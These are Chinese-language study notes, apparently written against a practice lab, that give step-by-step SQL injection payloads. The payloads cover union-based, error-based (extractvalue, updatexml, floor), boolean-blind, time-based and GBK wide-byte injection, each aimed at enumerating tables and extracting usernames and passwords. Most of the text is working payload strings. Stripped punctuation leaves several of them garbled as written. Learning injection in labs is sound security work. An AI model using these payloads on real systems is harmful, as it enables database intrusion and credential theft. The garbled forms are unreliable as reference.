SQL注入值得注意的参数updatexml123中位置1和位置3如果是数字就随便写是字符就必须用双引号或单引号标注起来extractvalue12中的位置1同理字符型注入数字型注入比字符型更简单只需要删除闭合符 ‘ “ 等测试注入类型和闭合符如?id-1 or 11 --页面有显示则为字符型注入注入浮为单引号闭合符可能有‘ “ ’“‘”等判断列长如“?id-1 order by 4 --”如果报错则列长4那么我们就把4改为3依次尝试直到页面不再出现报错则当前数就是该表的列数判断回显如“?id-1 union select 1,2,3 --”观察页面显示如果显示了2和3那么回显就是该表的第2、3列查看当前数据库所有的表目的是找到用户表如“?id-1 union select 1 ,2,group_concat(table_name) from information_schema.tables where table_schemadatabase() --”查看用户表各个列字段目的是找到账户和密码的字段名如“?id-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_schemadatabase() and table_nameusers --”获取所有用户名和密码如“?id-1 union select 1,2,substr(group_concat(username,:,password) ,1,32) from users --”报错型注入测试注入类型和闭合符如?id-1 or 11 --页面有显示则为字符型注入注入浮为单引号闭合符可能有‘ “ ’“‘”等判断列长如“?id-1 order by 4 --”如果报错则列长4那么我们就把4改为3依次尝试直到页面不再出现报错则当前数就是该表的列数通过extractvalue()或updatexml()实现报错显示从而完成字符型的4-6步骤得到想要的信息如?id-1 union select 1,2,extractvalue(1,concat(~,(select group_concat(table_name) from information_schema.tables where table_schemadatabase()))) -- ?id-1 union select 1,2,extractvalue(1,concat(~,(select group_concat(column_name) from information_schema.columns where table_schemadatabase() and table_nameusers))) -- ?id-1 union select 1,2,extractvalue(1,substr(concat(~,(select group_concat(username,:,password) from users)),1,30)) -- 或“?id-1 union select 1,2,extractvalue(1,concat(~,(select substr(group_concat(username,:,password),1,30) from users))) --”UPDATEXML (xml_target, xpath_expr, new_xml) XML 文档更新函数报错注入UPDATEXML(1, CONCAT(~, SUBSTR((SELECT database()), 1, 30)), 1); 超过32位时使用报错注入extractvalue(1, concat(~, (SELECT database()))) 查询 XML 文档报错注入extractvalue(1, concat(~, substr((SELECT group_concat(username) from users), 1, 30))) 超过32位时使用报错注入floor()向下取整如“select 1,count(*),concat(database(),floor(rand(0)*2)) as x from information_schema.tables group by x”布尔型注入原理通过反复判断当前数据库的各个字母所转换的十进制数来锁定当前数据库的名字测试注入类型和闭合符如“?id-1 or 11 --”页面有显示则为字符型注入注入符为单引号闭合符可能有‘ “ ’“‘”测试当前数据库中数据表的数量如“?id-1 or (select count(*) from information_schema.tables where table_schemadatabase())4 --”依次判断当前数据库中数据表名如“?id-1 or ascii(substr((select table_name from information_schema.tables where table_schemadatabase() limit 0,1),1,1))65 --”得到如“ emails,referers,uagents,users”各个数据表名后根据名字判断目标数据位置users测试对应数据表的列长如“?id-1 or (select count(*) from information_schema.columns where table_schemadatabase() and table_nameusers)3 --”依次判断对应数据表中各个列名如“?id-1 or ascii(substr((select column_name from information_schema.columns where table_nameusers and table_schemadatabase() limit 0,1),1,1))65 --”得到如“ id,username,password”各个列名后根据名字判断目标数据位置usernamepassword确认对应数据如“?id-1 or ascii(substr((select group_concat(username,password) from users),1,1))65 --”时间型注入注意推荐用靶场and因为用or可能会导致多次执行sleep命令比如表中有N条记录那么执行”?id1 and sleep(3) --“时sleep3会执行N次测试注入类型和闭合符?id1 and sleep(3) -- 字符型测试当前数据库中数据表的数量如”?id1 and if((select count(*) from information_schema.tables where table_schemadatabase())4,sleep(3),0) -- “依次判断当前数据库中数据表名如”?id1 and if(ascii(substr((select table_name from information_schema.tables where table_schemadatabase() limit 0,1),1,1))65,sleep(3),0) -- “得到如“ emails,referers,uagents,users”各个数据表名后根据名字判断目标数据位置users测试对应数据表的列长如”?id1 and if((select count(*) from information_schema.columns where table_schemadatabase() and table_nameusers)3,sleep(3),0) -- “依次判断对应数据表中各个列名如”?id1 and if(ascii(substr((select column_name from information_schema.columns where table_nameusers and table_schemadatabase() limit 0,1),1,1))65,sleep(3),0) -- “得到如“ id,username,password”各个列名后根据名字判断目标数据位置usernamepassword确认对应数据如”?id1 and if(ascii(substr((select group_concat(username,password) from users),1,1))65,sleep(3),0) -- “宽字节注入原理涉及GBK编码主要用于简体中文编码。原”?id-1 or 11 --“改为”?id-1%DF or 11 --“如果用 ?id1’ 程序在识别到单引号时会在单引号前面加上反斜线 ?id-1\ ,这里的\不像C语言、Python等一样等价于单引号而是作为一个普通字符处理那么此处就无法完成闭合也就没有SQL注入一说了换成 ?id-1%DF’ 后经过程序添加\后得?id-1%DF\‘ 而%DF\由GBK编码后得’運‘ 最终得 ?id-1運’ 这时就进行了闭合。而后面如果要用到字符串需要打单引、双引号时可以使用AI工具将字符串转换为对应的16进制数users----0x7573657273完成引号问题后之后的操作与完成字符型注入方法相同